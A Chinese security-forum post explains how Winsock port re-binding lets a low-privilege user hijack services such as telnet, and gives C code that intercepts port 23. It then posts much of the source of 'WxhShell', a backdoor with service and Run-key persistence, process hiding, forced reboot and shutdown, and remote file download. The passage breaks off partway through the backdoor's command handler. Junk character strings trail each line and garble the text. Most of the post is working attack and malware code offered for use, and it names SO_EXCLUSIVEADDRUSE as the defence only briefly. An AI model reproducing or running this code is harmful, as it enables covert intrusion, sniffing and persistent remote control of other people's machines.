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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1DE<rKI  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =u2l. CX  
!'&n -Q  
  saddr.sin_family = AF_INET; jv%kOovj  
19Mu61  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ER5gmmVP@p  
!Wy6/F@Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |:xYE{*)H  
$JJrSwR<h  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vd 0ljA  
<`B,R*H{  
  这意味着什么?意味着可以进行如下的攻击: :D%"EJ  
Lvq>v0|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 GT}F9F~  
jV>raCK_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E_])E`BJ  
:(!` /#6H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 w$z}r  
{|&5_][  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (Pf+0,2  
rV R1wsaL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 EN;}$jZ>47  
.TND  a&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )Ch2E|C?=8  
4cabP}gBk  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g`vny)\7/  
aT)BR?OYSJ  
  #include oX S1QT`B  
  #include gQxbi1!;9  
  #include ur$ _  
  #include    #fM#p+v  
  DWORD WINAPI ClientThread(LPVOID lpParam);   `e}bdj  
  int main() ftvG\Tf  
  { ~sl{|E  
  WORD wVersionRequested; =vDEfO/T  
  DWORD ret; Rs-]N1V  
  WSADATA wsaData;  86 W9rR  
  BOOL val; 6:Ch^c+IZ  
  SOCKADDR_IN saddr; XQ9O$ ~q  
  SOCKADDR_IN scaddr; )}D'<^=#T  
  int err; _aFl_\3>  
  SOCKET s; rz wF~-m +  
  SOCKET sc; R?~Yp?B^  
  int caddsize; 7n8~K3~;  
  HANDLE mt; )uj Ex7&c  
  DWORD tid;   \Xm,OE_v"  
  wVersionRequested = MAKEWORD( 2, 2 ); WQ[_hg|k  
  err = WSAStartup( wVersionRequested, &wsaData ); "?ucO4d  
  if ( err != 0 ) { !;i`PPRwk  
  printf("error!WSAStartup failed!\n"); Ox&P}P0f  
  return -1; 8+a4>8[M  
  } s \;"X  
  saddr.sin_family = AF_INET; \`oT#|0  
   0B@SN)<kH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 /y _O 4  
%{AO+u2i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 01r 8$+  
  saddr.sin_port = htons(23); 8$85^Of  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zVXC1u9B  
  { Ir`eL  
  printf("error!socket failed!\n"); /<@SFF.  
  return -1; *c~T@m~DR  
  } !46RGU:I  
  val = TRUE; { /K.3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 WN{ 9  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) cik!GA  
  { "!Uqcay-  
  printf("error!setsockopt failed!\n"); x(hE3S#+  
  return -1; YQ+tDZY8`  
  } #E? (vA1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Mr;E<Lj ^K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VL% UR{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ~$iIVJ`  
P3cRl']  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _LMM,!f  
  { LR.Hh   
  ret=GetLastError(); 6+.uU[x@  
  printf("error!bind failed!\n"); N^HUijw<  
  return -1; 2 ^mJ+v<  
  } 9o;^[Ql-  
  listen(s,2); _,xc[ 07  
  while(1) QrB@cK]  
  { KM}f:_J*lg  
  caddsize = sizeof(scaddr); qfL~Wp2E;  
  //接受连接请求 Ge-CY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); tk!t Y8j  
  if(sc!=INVALID_SOCKET) TD'L'm|2  
  { aGJC1x  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); lG4H:[5V  
  if(mt==NULL) tw^,G(  
  { WFO4gB*  
  printf("Thread Creat Failed!\n"); YVYu:}e3)  
  break; ]l1\? I  
  } _A+s)]}  
  } UUzYbuS>&l  
  CloseHandle(mt); e\Y*F  
  } v@Gl|29_  
  closesocket(s); M)eO6oX|  
  WSACleanup(); :n0vQ5a  
  return 0; JRSSn]pw  
  }   ;'5>q&[qbP  
  DWORD WINAPI ClientThread(LPVOID lpParam) R A KFU  
  { PJ]];MQ  
  SOCKET ss = (SOCKET)lpParam; ]$Yvj!K*Q  
  SOCKET sc; \@8+U;d  
  unsigned char buf[4096]; _CW(PsfY  
  SOCKADDR_IN saddr; u+'tfFds&  
  long num; \ ^ZlG.  
  DWORD val; \hBG<nH{0  
  DWORD ret; |+iws8xK?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7B!x T2{T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   RRRCS]y7$t  
  saddr.sin_family = AF_INET; ~-EOjX(X'E  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Uo\wyd  
  saddr.sin_port = htons(23); @!`Xl*l  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]|MEx{BG-  
  { ^C_#<m_k  
  printf("error!socket failed!\n"); [x9KVd ^d  
  return -1; D+>4AqG  
  } NF+iza;DP  
  val = 100; y^%n'h{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ?YZ- P{rTS  
  { =at@Vp/y  
  ret = GetLastError(); vg3=8>#  
  return -1; _9=Yvc=  
  } =bHD#o|R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `glBV`?^  
  { lrv3fPIW  
  ret = GetLastError(); -amBB7g  
  return -1; Zrvz;p@~  
  } a#>Yh;FA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2 dAB-d:k  
  { ~kZ G{  
  printf("error!socket connect failed!\n"); zx-81fx+k  
  closesocket(sc); \De{9v  
  closesocket(ss); c- }X_)U }  
  return -1; c17_2 @N  
  } _tBTE%sO  
  while(1) S<4c r  
  {  /% M/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @^T1XX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _~piZmkG$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nHm}zOLc  
  num = recv(ss,buf,4096,0); MFb9H{LA  
  if(num>0) ;~"FLQg@  
  send(sc,buf,num,0); Wzw7tLY._  
  else if(num==0) ,QcF|~n  
  break; 8>0e*jC  
  num = recv(sc,buf,4096,0); +xrr? g  
  if(num>0) f ` R/ i  
  send(ss,buf,num,0); <4P4u*/o  
  else if(num==0) B5X(ykaX~  
  break; f6p-s y>  
  } &Rvm>TC=  
  closesocket(ss); 1XD,uoxB  
  closesocket(sc); a{R%#e\n  
  return 0 ; P %#<I}0C  
  } EJsM(iG]~M  
.w0s%T,8}^  
cUY`97bn  
========================================================== <Dwar>}  
;\=M; Zt  
下边附上一个代码,,WXhSHELL [N/"5 [  
4|CtRF<L  
========================================================== %`r?c<P}  
N7O-2Z *  
#include "stdafx.h" DP3PYJ%+B  
BDR.AZ  
#include <stdio.h> 8xccp4  
#include <string.h> 3?1`D/  
#include <windows.h> ;i<|9{;  
#include <winsock2.h> tE)suU5Y  
#include <winsvc.h> prTw'~(B  
#include <urlmon.h> FLGk?.x$\  
fpFhn  
#pragma comment (lib, "Ws2_32.lib") R )mu2 ^  
#pragma comment (lib, "urlmon.lib") [uI|DUlI6o  
Bh;7C@dq  
#define MAX_USER   100 // 最大客户端连接数 @JyK|.b#0  
#define BUF_SOCK   200 // sock buffer vSi.txV2  
#define KEY_BUFF   255 // 输入 buffer 5 N#3a0)  
)?X-(4  
#define REBOOT     0   // 重启 v 8$>rwB  
#define SHUTDOWN   1   // 关机 )i !o8YB  
YbTxn="_  
#define DEF_PORT   5000 // 监听端口 TrLu~4  
U$_xUG  
#define REG_LEN     16   // 注册表键长度 ~ xft  
#define SVC_LEN     80   // NT服务名长度 >D(RYI  
+\F'iAs@  
// 从dll定义API A^)?Wt%*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0V'nK V"|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Mf&{7%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (]Y 5eM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m<j8cJ(  
tE]= cTSV  
// wxhshell配置信息 IW@PF7  
struct WSCFG { 2vAQ  
  int ws_port;         // 监听端口 =o&>fw  
  char ws_passstr[REG_LEN]; // 口令 K':K{ee>  
  int ws_autoins;       // 安装标记, 1=yes 0=no YKO){f5  
  char ws_regname[REG_LEN]; // 注册表键名 ;#oie< Vit  
  char ws_svcname[REG_LEN]; // 服务名 *#tJM.Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;|vpwB@B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <gJU?$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?kB2iU_f+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N4L|;?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^eR%N8Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h-Fn?  
>(?9?  
}; p; tVn{u  
mR}6r2O2\Q  
// default Wxhshell configuration DGAX3N;r6{  
struct WSCFG wscfg={DEF_PORT, c6X}2a'  
    "xuhuanlingzhe", l zYnw)Pv  
    1, = c>Qx"Sw  
    "Wxhshell", *:L?#Bw  
    "Wxhshell", iVy7elT;R  
            "WxhShell Service", V`bi&1?6\  
    "Wrsky Windows CmdShell Service", 5A sP5  
    "Please Input Your Password: ", ,!7 H]4Qx  
  1, 1e&QSzL  
  "http://www.wrsky.com/wxhshell.exe", $`z)~6'  
  "Wxhshell.exe" (UU(:/  
    }; iy14mh\ ~  
?i06f,-  
// 消息定义模块 `eIenA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rmE"rf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RV5n,J  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; uWM{JEOl  
char *msg_ws_ext="\n\rExit."; 8;Yx<woR  
char *msg_ws_end="\n\rQuit."; b+f'[;  
char *msg_ws_boot="\n\rReboot..."; mxz-4.  
char *msg_ws_poff="\n\rShutdown..."; 0el9&l9Ew  
char *msg_ws_down="\n\rSave to "; &8]d }-e  
HmiJ~C_v`:  
char *msg_ws_err="\n\rErr!"; t5#rps\;  
char *msg_ws_ok="\n\rOK!"; 0o9 3i u=&  
qL6 |6-?  
char ExeFile[MAX_PATH]; Y@b.sMg{  
int nUser = 0; l)!n/x_ !  
HANDLE handles[MAX_USER]; 8erSt!oM  
int OsIsNt; >|twyb  
" QWq_R  
SERVICE_STATUS       serviceStatus; )tl.s)"N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _g~qu [1  
yp66{o  
// 函数声明 {3.r6ZwCn  
int Install(void); OU/MiyP2  
int Uninstall(void); >]W)'lnO  
int DownloadFile(char *sURL, SOCKET wsh); > 3&: 5  
int Boot(int flag); o9F/y=.r=  
void HideProc(void); K00 87}H  
int GetOsVer(void); s;64N'HH  
int Wxhshell(SOCKET wsl); /C4^<k\  
void TalkWithClient(void *cs); <K8\n^i~c  
int CmdShell(SOCKET sock); wyQzM6:,yX  
int StartFromService(void); U5He?  
int StartWxhshell(LPSTR lpCmdLine); ^d~1E Er  
Pri`K/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4Rvf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Oh'Y0_oB>  
%7gkNa  
// 数据结构和表定义 ,{LG4qvP  
SERVICE_TABLE_ENTRY DispatchTable[] = k&. Jk B"  
{ US%^#D q  
{wscfg.ws_svcname, NTServiceMain}, ;uW}`Q<  
{NULL, NULL} tPGJ<30  
}; \l.-eu'O  
vh*U]3@  
// 自我安装 4qYUoCR&  
int Install(void) U )l,'y2  
{ e{v=MxO=S  
  char svExeFile[MAX_PATH]; Fm # w2o  
  HKEY key; JM\m)RH0  
  strcpy(svExeFile,ExeFile); r%.do;5  
sRrzp=D  
// 如果是win9x系统,修改注册表设为自启动 9M1d%jT  
if(!OsIsNt) { "sl1vzRN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]@0NO;bK>F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :P@rkT3Qt  
  RegCloseKey(key); 4y5UkU9|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sH?/E6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FN%m0"/Z{t  
  RegCloseKey(key); y !!E\b=  
  return 0; E Kz'&Gu  
    } d\FJFMW*9  
  } !Z5[QNVaV  
} Pw;!uag  
else { TM|)Ljm  
jMN[J|us51  
// 如果是NT以上系统,安装为系统服务 Xixqxm*8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,$ ^C4I  
if (schSCManager!=0) [w&$|h:;  
{ +C(/ Lyo}  
  SC_HANDLE schService = CreateService EB_NK  
  ( d R]Q$CJ  
  schSCManager, o`q_wdy?  
  wscfg.ws_svcname, YcN!T"w J@  
  wscfg.ws_svcdisp, C,pJ`:P  
  SERVICE_ALL_ACCESS, '^FGc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lME)?LOI  
  SERVICE_AUTO_START, /M*a,o  
  SERVICE_ERROR_NORMAL, @;H,gEH^  
  svExeFile, p$x{yz3  
  NULL, " $ew~;z  
  NULL, Iz{R}#8CZ  
  NULL, sPb=82~z  
  NULL, `QUy;%+  
  NULL 4)<~4 '  
  ); (Gw,2 -A  
  if (schService!=0) @bnG:np  
  { K&U7H:  
  CloseServiceHandle(schService); `/MvQ/  
  CloseServiceHandle(schSCManager); =l0Jb#d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }QsZ:J.  
  strcat(svExeFile,wscfg.ws_svcname); 2d {y M(=(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sqS=qC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XxaGp95so  
  RegCloseKey(key); f~_th @K  
  return 0; Y"6w,_'m  
    } Cc, `}SP  
  } %T[^D&9$,  
  CloseServiceHandle(schSCManager); =Odv8yhn  
} x $zKzfHW  
} S>0nx ^P  
C>[fB|^  
return 1; A,) VM9M_l  
} >N?2""  
yx<WSgWZ[  
// 自我卸载 Qo1eXMW  
int Uninstall(void) vYU;_R  
{ VT.;:Q  
  HKEY key; TcGoSj<Z  
;9}pOzF1q  
if(!OsIsNt) { 5zIAhg@o:q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~(@ E`s&{  
  RegDeleteValue(key,wscfg.ws_regname); q9^  
  RegCloseKey(key); &k1T08C*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >"@?ir  
  RegDeleteValue(key,wscfg.ws_regname); ?*oKX  
  RegCloseKey(key); J-<^P5  
  return 0; 8l"O(B'#Z  
  } C(id=F  
} $\"9<o|h  
} -dO'~all  
else { =SAU4xjo  
2EK%N'H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $ A9%UhV  
if (schSCManager!=0) R i 'L  
{ $DP&a1'g  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); BnM4T~reOF  
  if (schService!=0) I Nc^L  
  { Go&D[#  
  if(DeleteService(schService)!=0) { @y/wEBb  
  CloseServiceHandle(schService); _HA$ j2  
  CloseServiceHandle(schSCManager); Jy aag-  
  return 0; Jz!Z2c  
  } ,o7hk{fR*  
  CloseServiceHandle(schService); lMz<s  
  } !P$'#5mr  
  CloseServiceHandle(schSCManager); (?*BB3b`  
} p<v.Q   
} }I!hOD>]O  
 P N*JR  
return 1; olW|$?  
} 6ITLGA  
m"9XT)N  
// 从指定url下载文件 WpLZQ6wH  
int DownloadFile(char *sURL, SOCKET wsh) [,aqQ6S  
{ JNFIT;L  
  HRESULT hr; BvU"4d;x  
char seps[]= "/"; j2P n<0U  
char *token; Z h/Uu6  
char *file; e62Dx#IY  
char myURL[MAX_PATH]; k5&bq2)I  
char myFILE[MAX_PATH]; \Yoa:|%*y  
sIl33kmv  
strcpy(myURL,sURL); |Cdvfk  
  token=strtok(myURL,seps); Kwhdu<6  
  while(token!=NULL) lZQ /W:OE  
  { $oLU; q%  
    file=token; pU!o7>p  
  token=strtok(NULL,seps); IAOcKQ3  
  }  pAu72O?  
M- 0i7%  
GetCurrentDirectory(MAX_PATH,myFILE); )=Q)BN[  
strcat(myFILE, "\\"); +} mk>e/  
strcat(myFILE, file); C`'W#xnp1  
  send(wsh,myFILE,strlen(myFILE),0); Se!)n;?7Sw  
send(wsh,"...",3,0); Fn^C{p^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GyC/_ntn  
  if(hr==S_OK) pX=,iOF[I  
return 0; Y?#i{ixX6n  
else IF@HzT;Q  
return 1; QI_59f>  
]/T -t1D  
} x>~p;z#VX  
~B$b)`*  
// 系统电源模块 Y1dVM]l  
int Boot(int flag) "*7C`y5&P  
{ 1>r ,vD&  
  HANDLE hToken; 0 3~Ikll  
  TOKEN_PRIVILEGES tkp; r Db>&s3  
o/,NGU  
  if(OsIsNt) { > 4oY3wk8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oH2!5;A|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gZT)pP  
    tkp.PrivilegeCount = 1; _B,_4}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [^~7]2i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eu'1H@vX(  
if(flag==REBOOT) { }xFi& <  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -iCcoA  
  return 0; &D#+6M&LK{  
} +[m8c){  
else { iQ^: ])m>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yW.COWL=)  
  return 0; L<(VG{)Z  
} Zwe[_z!*D  
  } k*-NsNPw$  
  else { 3hq1yyec  
if(flag==REBOOT) { ~k'V*ERNSj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >m_v5K  
  return 0; dZ :r&Qa  
} c#b:3dXx9  
else { 2@vj!U8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W>spz~w%j  
  return 0; eFTX6XB:i  
} 6(sIYZ2yq  
} S2~@nhO`U(  
THhy~wC".  
return 1; v6e%#=  
} NE"jh_m-  
AH.9A_dG  
// win9x进程隐藏模块 xfSG~csoz  
void HideProc(void) nj\_lL+  
{ J?P]EQU  
S*%iiD)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #  nfI%  
  if ( hKernel != NULL ) 7SI)1_%G  
  { ke/_k/  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  d^39t4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]Qi,j#X  
    FreeLibrary(hKernel); =:h3w#_c  
  } R V!o4"\]  
z^s ST  
return; ,m07p~,V  
} S2$5!(P  
.#^0pv!  
// 获取操作系统版本 xKp0r1}  
int GetOsVer(void) |0{ i9 .=  
{ Kla:e[{  
  OSVERSIONINFO winfo; um8AdiK  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NMjnL&P`  
  GetVersionEx(&winfo); 0 15Owi  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jeDlH6X'  
  return 1; =sQ(iso%f  
  else  ~q%  
  return 0; *kaJ*Ti-/  
} qmmv7==  
Q?;C4n4]l  
// 客户端句柄模块 L2U x9_S  
int Wxhshell(SOCKET wsl) GYgWf1$8_D  
{ da*9(!OV  
  SOCKET wsh; v`)m">e*w  
  struct sockaddr_in client; p[YWSjf  
  DWORD myID; wL<j:>Ke[3  
~4s-S3YzaM  
  while(nUser<MAX_USER) v`{:~ q*  
{ ;]&-MFv#  
  int nSize=sizeof(client); =|y|P80w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bNvAyKc-  
  if(wsh==INVALID_SOCKET) return 1; tE!'dpG5)  
0&`}EXe<f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); A9BxwQU#  
if(handles[nUser]==0) @;9()ad  
  closesocket(wsh); $e/*/.  
else 7b.U!Ju  
  nUser++; `=!p$hg($  
  } J1-):3A  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PN\V[#nS  
\:sk9k  
  return 0; \o9@>&2  
} {v+a!#{c7  
i=Kvz4h  
// 关闭 socket u[t>Tg2R  
void CloseIt(SOCKET wsh) y<r44a_!  
{ onzA7Gre  
closesocket(wsh); Q=.g1$LP  
nUser--; * NMQ  
ExitThread(0); z\[(g  
} `2x34  
h Z#\t  
// 客户端请求句柄 ct\<;I(H  
void TalkWithClient(void *cs) 0=m&^Jpp  
{ fI[dhd6  
A*Q[k 9B  
  SOCKET wsh=(SOCKET)cs; -HTL5  
  char pwd[SVC_LEN]; zjoo{IH}  
  char cmd[KEY_BUFF]; ,#%SK;1<  
char chr[1]; 9}whWh  
int i,j; &5/JfNe3  
wU0K3qZL  
  while (nUser < MAX_USER) { Ak|b0l>^  
UQdyv(jXq  
if(wscfg.ws_passstr) { Bi_J5 If  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9&(.x8d,a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3^H/LWx`{]  
  //ZeroMemory(pwd,KEY_BUFF); ,%='>A  
      i=0; aa=b<Cd  
  while(i<SVC_LEN) { !@yQK<0  
S%V%!803!  
  // 设置超时 nB}e1 /_y  
  fd_set FdRead; /a%KS3>V*  
  struct timeval TimeOut; 9<qx!-s2rr  
  FD_ZERO(&FdRead); ZX]A )5G  
  FD_SET(wsh,&FdRead); y(a}IM3~  
  TimeOut.tv_sec=8; 9R:(^8P8  
  TimeOut.tv_usec=0; VLd=" ~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %jgg59  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z>HNe9pr  
lDU#7\5.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Eb7}$Ji\  
  pwd=chr[0]; 7`+UB>8  
  if(chr[0]==0xd || chr[0]==0xa) { 4`G=q^GL,  
  pwd=0; 7?]!Ecr"  
  break; #?5VsD8  
  } ,|QU] E @  
  i++; j~$ )c)h"  
    } ]Qy,#p'~&H  
U*xxrt/On/  
  // 如果是非法用户,关闭 socket ,m"l\jP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |>[X<>m  
} a~ F u  
rX)o3>q^?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gTyW#verh$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @s?oJpo  
:!hk~#yvJ9  
while(1) { T)O]:v  
`v<f}  
  ZeroMemory(cmd,KEY_BUFF); KD9Ca $-  
\ /sF:~=  
      // 自动支持客户端 telnet标准   ~CJYQFt  
  j=0; 2O^32TdS  
  while(j<KEY_BUFF) { ~JT lPU'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I BF.&[[S  
  cmd[j]=chr[0]; ;?#i]Bh>S  
  if(chr[0]==0xa || chr[0]==0xd) { r}Q@VS% %  
  cmd[j]=0; UFJEs[?+Te  
  break; ir"* iL=  
  } w`"W3(  
  j++; :nTkg[49pJ  
    } 5@""_n&FV  
d?E4[7<t$1  
  // 下载文件 EywZIw?mjX  
  if(strstr(cmd,"http://")) { rHR5,N:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^S3A10f,  
  if(DownloadFile(cmd,wsh)) X{4xm,B/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ta2z  
  else 78\\8*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #NSaY+V  
  } yFa&GxSq  
  else { ;Ce 2d+K  
_6| /P7"  
    switch(cmd[0]) { s-y'<(ll  
   z, :+Oc  
  // 帮助 sCuQBZ h  
  case '?': { a'c9XG}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \"{/yjO|4  
    break; aj% `x4e A  
  } '[0 3L9  
  // 安装 %Tk}sfx  
  case 'i': { F&-5&'6G+  
    if(Install()) %_cg|yy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b 49|4   
    else &xF4p,7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }P7xdQ6  
    break; 6S` ,j  
    } HP1X\h!Ke  
  // 卸载 h%4 ~0  
  case 'r': { ^2(";.m  
    if(Uninstall()) Yk x&6M@t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D}3cW2!9  
    else wpJ^}+kF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9LUP{(uq  
    break; +G>aj '\M|  
    } v #zfs'  
  // 显示 wxhshell 所在路径 p=je"{  
  case 'p': { ?d,acm  
    char svExeFile[MAX_PATH]; =W97|BIW,  
    strcpy(svExeFile,"\n\r"); t(Cq(.u`:  
      strcat(svExeFile,ExeFile); \v B9fA:*  
        send(wsh,svExeFile,strlen(svExeFile),0); \["1N-q b  
    break; fte!Ll'  
    } \L&qfMjW"Z  
  // 重启 ZfF`kD\  
  case 'b': { .l" _ K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J:k@U42  
    if(Boot(REBOOT)) K'ed5J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u^;sx/  
    else { %6vMpB`g  
    closesocket(wsh); EC:x  ,i  
    ExitThread(0); \Mh4X`<e  
    } _,Io(QS  
    break; gb^UFD L  
    } 70I4-[/z[d  
  // 关机 A_8`YN"Xk  
